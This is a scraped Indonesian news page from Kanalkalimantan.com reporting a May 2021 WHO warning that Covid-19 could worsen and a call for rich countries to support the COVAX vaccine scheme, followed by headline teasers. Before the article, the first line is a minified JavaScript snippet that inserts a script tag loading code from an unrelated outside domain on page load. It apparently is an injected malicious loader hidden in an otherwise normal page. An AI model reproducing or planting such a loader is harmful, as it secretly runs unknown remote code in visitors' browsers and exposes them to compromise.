(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Badan Kesehatan Dunia (WHO) memperingatkan, wabah Covid-19 pada tahun ini bisa lebih parah daripada sebelumnya. Badan kesehatan di bawah PBB itu menyerukan agar skema COVAX, pemberian vaksin ke negara miskin, bisa digenjot.
Dalam konferensi pers, Direktur Jenderal Tedros Adhanom Ghebreyesus menyoroti mulai turunnya proses vaksinasi di dunia.
Tedros menyoroti bagaimana negara kaya hanya fokus pada inokulasi warganya sendiri, dan seakan tak peduli pada negara menengah ke bawah. “Kita di tengah jalur bahwa pandemi Covid-19 di tahun ini bakal lebih parah daripada sebelumnya,” ujar Tedros.
Karena itu, WHO meminta agar negara kaya mempertimbangkan lagi memvaksinasi warganya yang berusia muda. Vaksin itu, menurut Tedros, sebaiknya didistribusikan ke negara yang lebih membutuhkan melalui skema COVAX.
Baca juga : Utang Lapindo Menggunung, Pemerintah Didesak untuk Menagih
Badan kesehatan tersebut mengkritik pemerintah yang hanya peduli untuk memberikan vaksin ke 100 persen warganya. Dilansir Kompas dari Russian Today Jumat (14/5/2021), menurut WHO seharusnya semua negara bekerja sama menangkal virus corona dalam skala global.
Berikutnya Tedros menerangkan, dia memaklumi jika negara tersebut mengedepankan pendekatan mengentaskan urusan domestik mereka.
Tetapi dalam pandangannya, pemerintah negara kaya juga harus memperhatikan negara dengan pendepatan menengah ke bawah. Sebab, seperti dijelaskan Tedros, mereka bahkan tidak punya cukup vaksin untuk melindungi tenaga kesehatan.
Skema COVAX ini didirikan oleh WHO, Komisi Eropa, dan Perancis dalam upaya pendistribusian vaksin secara adil ke seluruh dunia.
Baca juga : Banjarbaru Masuk 10 Kota Terbaik Tahun 2021 Versi Bappenas
Sejak dibentuk, skema ini dilaporkan sudah mengirim 59 juta dosis vaksin virus corona ke 122 negara peserta. Pernyataan Tedros itu terjadi di tengah kekhawatiran varian baru corona, terutama galur India, bisa menyebabkan peningkatan kasus global.
Meski belum ada bukti varian ini kebal terhadap vaksin, pakar kesehatan khawatir varian ini jauh lebih menular dan menghambat upaya vaksinasi. (Kanalkalimantan.com/kom)
Editor: cell
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.